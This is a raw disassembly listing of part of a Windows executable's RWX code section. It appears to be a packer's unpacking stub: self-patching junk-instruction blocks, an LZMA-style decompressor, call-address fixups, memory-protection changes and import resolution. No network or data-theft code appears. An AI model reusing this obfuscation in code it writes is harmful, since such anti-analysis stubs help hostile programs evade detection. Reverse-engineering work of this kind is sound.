		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Ah
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_4373EF:				; CODE XREF: .vty:004373C6j
		mov	eax, 90h
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		jmp	short loc_43742A
; ---------------------------------------------------------------------------
		mov	eax, 90h
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Dh
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_43742A:				; CODE XREF: .vty:004373FEj
		mov	ecx, 0EFFFFFFh
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		jmp	short loc_437465
; ---------------------------------------------------------------------------
		mov	ecx, 0EFFFFFFh
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Dh
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_437465:				; CODE XREF: .vty:00437439j
		rep stosb
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_43749D
; ---------------------------------------------------------------------------
		rep stosb
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Ah
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_43749D:				; CODE XREF: .vty:00437474j
		mov	eax, 0C3h
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		jmp	short loc_4374D8
; ---------------------------------------------------------------------------
		mov	eax, 0C3h
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Dh
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_4374D8:				; CODE XREF: .vty:004374ACj
		stosb
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_43750F
; ---------------------------------------------------------------------------
		stosb
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 9
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_43750F:				; CODE XREF: .vty:004374E7j
		call	edx
		push	4
		push	1000h
		push	dword ptr [ebx+8]
		push	ecx
		call	dword ptr [ebp+8]
		mov	edx, eax
		mov	esi, [ebx+18h]
		jmp	loc_4375C5
; ---------------------------------------------------------------------------


loc_437529:				; CODE XREF: .vty:004375C8j
		mov	edi, eax
		add	edi, [ebx]
		lodsd
		mov	ecx, eax
		btr	edi, 1Fh
		jnb	short loc_43753D
		rep movsd
		jmp	loc_4375C5
; ---------------------------------------------------------------------------


loc_43753D:				; CODE XREF: .vty:00437534j
		pusha
		push	edx
		push	esi
		push	edi
		call	dword ptr [ebx+14h]
		mov	[esp+1Ch], eax
		popa
		pusha
		mov	ebp, edi
		sub	edi, [ebx]
		mov	ebx, edi
		lea	edi, [eax-5]
		xor	esi, esi
		push	0FFFFFFFCh
		pop	edx
		jmp	short loc_4375BE
; ---------------------------------------------------------------------------


loc_43755A:				; CODE XREF: .vty:004375C0j
		mov	al, [esi+ebp]
		and	al, 0FEh
		cmp	al, 0E8h
		jz	short loc_437570
		mov	eax, [esi+ebp]
		and	ah, 0F0h
		cmp	ax, 800Fh
		jnz	short loc_4375BD
		inc	esi


loc_437570:				; CODE XREF: .vty:00437561j
		mov	eax, esi
		sub	eax, edx
		xor	al, 3
		mov	edx, esi
		mov	cl, [esi+ebp+4]
		inc	ecx
		shr	cl, 1
		jnz	short loc_4375BD
		push	edi
		inc	esi
		mov	edi, [esi+ebp]


loc_437586:				; CODE XREF: .vty:004375AAj
		sub	edi, ebx
		sub	edi, esi
		mov	[esi+ebp], edi
		cmp	eax, 3
		ja	short loc_4375AC
		mov	ecx, eax
		shl	ecx, 3
		mov	edi, 0FFh
		shl	edi, cl
		xor	edi, [esi+ebp]
		lea	ecx, [eax+esi]
		mov	cl, [ecx+ebp]
		inc	ecx
		shr	cl, 1
		jz	short loc_437586


loc_4375AC:				; CODE XREF: .vty:00437590j
		add	esi, 3
		mov	cl, [esi+ebp]
		shr	cl, 1
		setnb	ch
		dec	ch
		mov	[esi+ebp], ch
		pop	edi


loc_4375BD:				; CODE XREF: .vty:0043756Dj
					; .vty:0043757Fj
		inc	esi


loc_4375BE:				; CODE XREF: .vty:00437558j
		cmp	esi, edi
		jl	short loc_43755A
		popa
		add	esi, ecx


loc_4375C5:				; CODE XREF: .vty:00437524j
					; .vty:00437538j
		lodsd
		test	eax, eax
		jnz	loc_437529
		push	8000h
		push	eax
		push	edx
		call	dword ptr [ebp+0Ch]
		lea	eax, [ebx+0Ch]
		push	eax
		push	4
		push	1
		push	dword ptr [ebx]
		call	dword ptr [ebp+10h]
		mov	eax, [ebx+8]
		sub	eax, [ebx+4]
		push	4
		push	1000h
		push	eax
		push	0
		call	dword ptr [ebp+8]
		pusha
		push	eax
		push	dword ptr [ebx+1Ch]
		push	dword ptr [ebx]
		call	dword ptr [ebx+14h]
		popa
		push	8000h
		push	0
		push	eax
		call	dword ptr [ebp+0Ch]
		lea	eax, [ebx+0Ch]
		push	eax
		push	dword ptr [ebx+0Ch]
		push	1
		push	dword ptr [ebx]
		call	dword ptr [ebp+10h]
		mov	esi, [ebx+20h]
		jmp	short loc_437648
; ---------------------------------------------------------------------------


loc_437621:				; CODE XREF: .vty:0043764Bj
		add	eax, [ebx]
		push	eax
		call	dword ptr [ebp+0]
		mov	edi, [esi]
		add	edi, [ebx]
		jmp	short loc_43763F
; ---------------------------------------------------------------------------


loc_43762D:				; CODE XREF: .vty:00437643j
		btr	ecx, 1Fh
		jb	short loc_437637
		add	ecx, [ebx]
		inc	ecx
		inc	ecx


loc_437637:				; CODE XREF: .vty:00437631j
		push	eax
		push	ecx
		push	eax
		call	dword ptr [ebp+4]
		stosd
		pop	eax


loc_43763F:				; CODE XREF: .vty:0043762Bj
		mov	ecx, [edi]
		test	ecx, ecx
		jnz	short loc_43762D
		add	esi, 10h


loc_437648:				; CODE XREF: .vty:0043761Fj
		lodsd
		test	eax, eax
		jnz	short loc_437621
		popa
		jmp	sub_437085
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		xor	eax, eax
		inc	eax
		mov	edi, [ebp+10h]
		mov	[ebp-14h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], eax
		mov	[ebp-28h], eax
		mov	eax, 400h
		xor	edx, edx
		mov	ecx, 30736h
		rep stosd
		mov	eax, [ebp+0Ch]
		push	5
		mov	[ebp-8], eax
		mov	[ebp-10h], edx
		mov	[ebp-1], dl
		mov	[ebp-0Ch], edx
		mov	[ebp+0Ch], edx
		or	eax, 0FFFFFFFFh
		pop	ecx


loc_437691:				; CODE XREF: .vty:004376A6j
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		inc	dword ptr [ebp-8]
		dec	ecx
		mov	[ebp+0Ch], edx
		jnz	short loc_437691


loc_4376A8:				; CODE XREF: .vty:0043783Aj
					; .vty:00437849j ...
		mov	esi, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		and	esi, 3
		shl	ecx, 4
		add	ecx, esi
		cmp	eax, 1000000h
		lea	edi, [edx+ecx*4]
		jnb	short loc_4376DA
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4376DA:				; CODE XREF: .vty:004376C1j
		mov	ecx, [edi]
		mov	ebx, eax
		shr	ebx, 0Bh
		imul	ebx, ecx
		cmp	[ebp+0Ch], ebx
		jnb	loc_437857
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		movzx	ecx, byte ptr [ebp-1]
		imul	ecx, 0C00h
		xor	edx, edx
		mov	[edi], esi
		mov	esi, [ebp+10h]
		inc	edx
		cmp	dword ptr [ebp-0Ch], 7
		lea	ecx, [esi+ecx+1CD8h]
		mov	eax, ebx
		mov	[ebp-20h], ecx
		jl	loc_4377C0
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		mov	esi, [ebp+8]
		movzx	ecx, byte ptr [esi+ecx]
		mov	[ebp-24h], ecx


loc_437731:				; CODE XREF: .vty:004377B8j
		shl	dword ptr [ebp-24h], 1
		mov	esi, [ebp-24h]
		mov	edi, [ebp-20h]
		and	esi, 100h
		cmp	eax, 1000000h
		lea	ecx, [edx+esi]
		lea	ecx, [edi+ecx*4+400h]
		mov	[ebp-2Ch], ecx
		jnb	short loc_43776B
		mov	ebx, [ebp-8]
		mov	edi, [ebp+0Ch]
		movzx	ebx, byte ptr [ebx]
		shl	edi, 8
		or	edi, ebx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edi


loc_43776B:				; CODE XREF: .vty:00437752j
		mov	ecx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_437799
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-2Ch]
		add	edx, edx
		test	esi, esi
		mov	[ecx], edi
		jnz	loc_437819
		jmp	short loc_4377B2
; ---------------------------------------------------------------------------


loc_437799:				; CODE XREF: .vty:00437778j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		test	esi, esi
		mov	edi, [ebp-2Ch]
		mov	[edi], ecx
		lea	edx, [edx+edx+1]
		jz	short loc_437819


loc_4377B2:				; CODE XREF: .vty:00437797j
		cmp	edx, 100h
		jl	loc_437731
		jmp	short loc_437821
; ---------------------------------------------------------------------------


loc_4377C0:				; CODE XREF: .vty:0043771Bj
					; .vty:0043781Fj
		cmp	eax, 1000000h
		mov	ecx, [ebp-20h]
		lea	edi, [ecx+edx*4]
		jnb	short loc_4377E4
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4377E4:				; CODE XREF: .vty:004377CBj
		mov	ecx, [edi]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_437807
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi], esi
		add	edx, edx
		jmp	short loc_437819
; ---------------------------------------------------------------------------


loc_437807:				; CODE XREF: .vty:004377F1j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi], ecx
		lea	edx, [edx+edx+1]


loc_437819:				; CODE XREF: .vty:00437791j
					; .vty:004377B0j ...
		cmp	edx, 100h
		jl	short loc_4377C0


loc_437821:				; CODE XREF: .vty:004377BEj
		mov	esi, [ebp-10h]
		mov	ecx, [ebp+8]
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-1], dl
		mov	[ecx+esi], dl
		jge	short loc_43783F
		and	dword ptr [ebp-0Ch], 0
		jmp	loc_4376A8
; ---------------------------------------------------------------------------


loc_43783F:				; CODE XREF: .vty:00437834j
		cmp	dword ptr [ebp-0Ch], 0Ah
		jge	short loc_43784E
		sub	dword ptr [ebp-0Ch], 3
		jmp	loc_4376A8
; ---------------------------------------------------------------------------


loc_43784E:				; CODE XREF: .vty:00437843j
		sub	dword ptr [ebp-0Ch], 6
		jmp	loc_4376A8
; ---------------------------------------------------------------------------


loc_437857:				; CODE XREF: .vty:004376E7j
		sub	[ebp+0Ch], ebx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	edx, [ebp-0Ch]
		sub	eax, ebx
		cmp	eax, 1000000h
		mov	[edi], ecx
		mov	ecx, [ebp+10h]
		lea	edx, [ecx+edx*4+300h]
		jnb	short loc_437890
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_437890:				; CODE XREF: .vty:00437877j
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_4378E2
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	ecx, [ebp-18h]
		mov	[ebp-28h], ecx
		mov	ecx, [ebp-1Ch]
		mov	[ebp-18h], ecx
		mov	ecx, [ebp-14h]
		mov	[edx], edi
		mov	[ebp-1Ch], ecx
		jge	short loc_4378CD
		and	dword ptr [ebp-0Ch], 0
		jmp	short loc_4378D4
; ---------------------------------------------------------------------------


loc_4378CD:				; CODE XREF: .vty:004378C5j
		mov	dword ptr [ebp-0Ch], 3


loc_4378D4:				; CODE XREF: .vty:004378CBj
		mov	ecx, [ebp+10h]
		add	ecx, 0CC8h
		jmp	loc_437ACB
; ---------------------------------------------------------------------------


loc_4378E2:				; CODE XREF: .vty:0043789Dj
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edi, [edx+ecx*4+330h]
		jnb	short loc_43791B
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_43791B:				; CODE XREF: .vty:00437902j
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	loc_4379CF
		mov	ebx, 800h
		sub	ebx, ecx
		shr	ebx, 5
		add	ebx, ecx
		mov	ecx, [ebp-0Ch]
		add	ecx, 0Fh
		shl	ecx, 4
		mov	[edi], ebx
		mov	edi, [ebp+10h]
		add	ecx, esi
		cmp	edx, 1000000h
		mov	eax, edx
		lea	edi, [edi+ecx*4]
		jnb	short loc_437970
		mov	ecx, [ebp+0Ch]
		shl	edx, 8
		mov	eax, edx
		mov	edx, [ebp-8]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_437970:				; CODE XREF: .vty:00437955j
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	short loc_4379BC
		mov	esi, [ebp-10h]
		mov	eax, edx
		mov	edx, 800h
		sub	edx, ecx
		shr	edx, 5
		add	edx, ecx
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	[edi], edx
		mov	edx, [ebp+8]
		setnl	cl
		lea	ecx, [ecx+ecx+9]
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		inc	dword ptr [ebp-10h]
		mov	cl, [edx+ecx]
		mov	[ebp-1], cl
		mov	[edx+esi], cl
		jmp	loc_4376A8
; ---------------------------------------------------------------------------


loc_4379BC:				; CODE XREF: .vty:0043797Dj
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	[edi], ecx
		jmp	loc_437AAF
; ---------------------------------------------------------------------------


loc_4379CF:				; CODE XREF: .vty:00437928j
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		cmp	eax, 1000000h
		mov	edx, [ebp+10h]
		mov	[edi], ecx
		mov	ecx, [ebp-0Ch]
		lea	edx, [edx+ecx*4+360h]
		jnb	short loc_437A08
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_437A08:				; CODE XREF: .vty:004379EFj
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_437A2C
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-1Ch]
		mov	[edx], edi
		jmp	short loc_437AA6
; ---------------------------------------------------------------------------


loc_437A2C:				; CODE XREF: .vty:00437A15j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edx, [edx+ecx*4+390h]
		jnb	short loc_437A65
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_437A65:				; CODE XREF: .vty:00437A4Cj
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_437A89
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-18h]
		mov	[edx], edi
		jmp	short loc_437AA0
; ---------------------------------------------------------------------------


loc_437A89:				; CODE XREF: .vty:00437A72j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		mov	[edx], ecx
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		mov	[ebp-28h], edx


loc_437AA0:				; CODE XREF: .vty:00437A87j
		mov	edx, [ebp-1Ch]
		mov	[ebp-18h], edx


loc_437AA6:				; CODE XREF: .vty:00437A2Aj
		mov	edx, [ebp-14h]
		mov	[ebp-1Ch], edx
		mov	[ebp-14h], ecx


loc_437AAF:				; CODE XREF: .vty:004379CAj
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 0Bh
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp+10h]
		add	ecx, 14D0h


loc_437ACB:				; CODE XREF: .vty:004378DDj
		cmp	eax, 1000000h
		jnb	short loc_437AE9
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_437AE9:				; CODE XREF: .vty:00437AD0j
		mov	edx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_437B15
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		and	dword ptr [ebp-24h], 0
		mov	[ecx], edi
		lea	ecx, [ecx+esi+8]
		jmp	short loc_437B73
; ---------------------------------------------------------------------------


loc_437B15:				; CODE XREF: .vty:00437AF6j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, edx
		shr	edi, 5
		sub	edx, edi
		cmp	eax, 1000000h
		mov	[ecx], edx
		jnb	short loc_437B41
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_437B41:				; CODE XREF: .vty:00437B28j
		mov	edx, [ecx+4]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_437B7C
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		mov	[ecx+4], edi
		lea	ecx, [ecx+esi+208h]
		mov	dword ptr [ebp-24h], 8


loc_437B73:				; CODE XREF: .vty:00437B13j
		mov	dword ptr [ebp-20h], 3
		jmp	short loc_437B9F
; ---------------------------------------------------------------------------


loc_437B7C:				; CODE XREF: .vty:00437B4Fj
		sub	[ebp+0Ch], edi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		sub	eax, edi
		mov	[ecx+4], edx
		add	ecx, 408h
		mov	dword ptr [ebp-24h], 10h
		mov	dword ptr [ebp-20h], 8


loc_437B9F:				; CODE XREF: .vty:00437B7Aj
		mov	edx, [ebp-20h]
		xor	ebx, ebx
		mov	[ebp-2Ch], edx
		inc	ebx


loc_437BA8:				; CODE XREF: .vty:00437C01j
		cmp	eax, 1000000h
		jnb	short loc_437BC6
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_437BC6:				; CODE XREF: .vty:00437BADj
		mov	edx, [ecx+ebx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_437BEB
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ecx+ebx*4], esi
		add	ebx, ebx
		jmp	short loc_437BFE
; ---------------------------------------------------------------------------


loc_437BEB:				; CODE XREF: .vty:00437BD4j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		mov	[ecx+ebx*4], edx
		lea	ebx, [ebx+ebx+1]


loc_437BFE:				; CODE XREF: .vty:00437BE9j
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_437BA8
		mov	ecx, [ebp-20h]
		xor	edx, edx
		inc	edx
		mov	esi, edx
		shl	esi, cl
		mov	ecx, [ebp-24h]
		sub	ecx, esi
		add	ebx, ecx
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-30h], ebx
		jge	loc_437DB5
		add	dword ptr [ebp-0Ch], 7
		cmp	ebx, 4
		jge	short loc_437C2E
		mov	ecx, ebx
		jmp	short loc_437C31
; ---------------------------------------------------------------------------


loc_437C2E:				; CODE XREF: .vty:00437C28j
		push	3
		pop	ecx


loc_437C31:				; CODE XREF: .vty:00437C2Cj
		mov	esi, [ebp+10h]
		shl	ecx, 8
		lea	edi, [esi+ecx+6C0h]
		mov	dword ptr [ebp-2Ch], 6


loc_437C45:				; CODE XREF: .vty:00437C9Ej
		cmp	eax, 1000000h
		jnb	short loc_437C63
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_437C63:				; CODE XREF: .vty:00437C4Aj
		mov	ecx, [edi+edx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_437C88
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi+edx*4], esi
		add	edx, edx
		jmp	short loc_437C9B
; ---------------------------------------------------------------------------


loc_437C88:				; CODE XREF: .vty:00437C71j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi+edx*4], ecx
		lea	edx, [edx+edx+1]


loc_437C9B:				; CODE XREF: .vty:00437C86j
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_437C45
		sub	edx, 40h
		cmp	edx, 4
		mov	edi, edx
		jl	loc_437D86
		mov	ecx, edx
		sar	ecx, 1
		and	edi, 1
		dec	ecx
		or	edi, 2
		cmp	edx, 0Eh
		mov	[ebp-14h], ecx
		jge	short loc_437CD3
		shl	edi, cl
		mov	ecx, edi
		sub	ecx, edx
		mov	edx, [ebp+10h]
		lea	ebx, [edx+ecx*4+0ABCh]
		jmp	short loc_437D19
; ---------------------------------------------------------------------------


loc_437CD3:				; CODE XREF: .vty:00437CBFj
		sub	ecx, 4


loc_437CD6:				; CODE XREF: .vty:00437D04j
		cmp	eax, 1000000h
		jnb	short loc_437CF4
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_437CF4:				; CODE XREF: .vty:00437CDBj
		shr	eax, 1
		add	edi, edi
		cmp	[ebp+0Ch], eax
		jb	short loc_437D03
		sub	[ebp+0Ch], eax
		or	edi, 1


loc_437D03:				; CODE XREF: .vty:00437CFBj
		dec	ecx
		jnz	short loc_437CD6
		mov	ebx, [ebp+10h]
		add	ebx, 0C88h
		shl	edi, 4
		mov	dword ptr [ebp-14h], 4


loc_437D19:				; CODE XREF: .vty:00437CD1j
		xor	ecx, ecx
		inc	ecx
		mov	[ebp-20h], ebx
		mov	[ebp-24h], ecx


loc_437D22:				; CODE XREF: .vty:00437D84j
		cmp	eax, 1000000h
		jnb	short loc_437D40
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_437D40:				; CODE XREF: .vty:00437D27j
		mov	edx, [ebx+ecx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_437D65
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ebx+ecx*4], esi
		add	ecx, ecx
		jmp	short loc_437D7E
; ---------------------------------------------------------------------------


loc_437D65:				; CODE XREF: .vty:00437D4Ej
		sub	[ebp+0Ch], esi
		mov	ebx, [ebp-20h]
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		or	edi, [ebp-24h]
		mov	[ebx+ecx*4], edx
		lea	ecx, [ecx+ecx+1]


loc_437D7E:				; CODE XREF: .vty:00437D63j
		shl	dword ptr [ebp-24h], 1
		dec	dword ptr [ebp-14h]
		jnz	short loc_437D22


loc_437D86:				; CODE XREF: .vty:00437CA8j
		inc	edi
		mov	[ebp-14h], edi
		jz	short loc_437DBA
		mov	ebx, [ebp-30h]


loc_437D8F:				; CODE XREF: .vty:00437DB8j
		mov	ecx, [ebp-10h]
		inc	ebx
		sub	ecx, edi
		inc	ebx
		add	ecx, [ebp+8]


loc_437D99:				; CODE XREF: .vty:00437DAEj
		mov	dl, [ecx]
		mov	esi, [ebp-10h]
		mov	edi, [ebp+8]
		dec	ebx
		inc	dword ptr [ebp-10h]
		inc	ecx
		test	ebx, ebx
		mov	[ebp-1], dl
		mov	[edi+esi], dl
		jnz	short loc_437D99
		jmp	loc_4376A8
; ---------------------------------------------------------------------------


loc_437DB5:				; CODE XREF: .vty:00437C1Bj
		mov	edi, [ebp-14h]
		jmp	short loc_437D8F
; ---------------------------------------------------------------------------


loc_437DBA:				; CODE XREF: .vty:00437D8Aj
		mov	eax, [ebp-10h]
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		align 400h
_vty		ends

; Section 2. (virtual address 00038000)
; Virtual size			: 00011000 (  69632.)
; Section size in file		: 00011000 (  69632.)
; Offset to raw	data for section: 00038000
; Flags	E0000000: Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_vty		segment	para public 'CODE' use32
		assume cs:_vty
		;org 438000h
		assume es:nothing, ss:nothing, ds:_vty,	fs:nothing, gs:nothing
		dd 7C80B6A1h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 7C801AD0h
		dd 0
		dd 38000h, 2 dup(0)
		dd 380A4h, 38000h, 38030h, 42C2C8A1h, 0
		dd 380F9h, 38030h, 38044h, 76F36C5Bh, 0
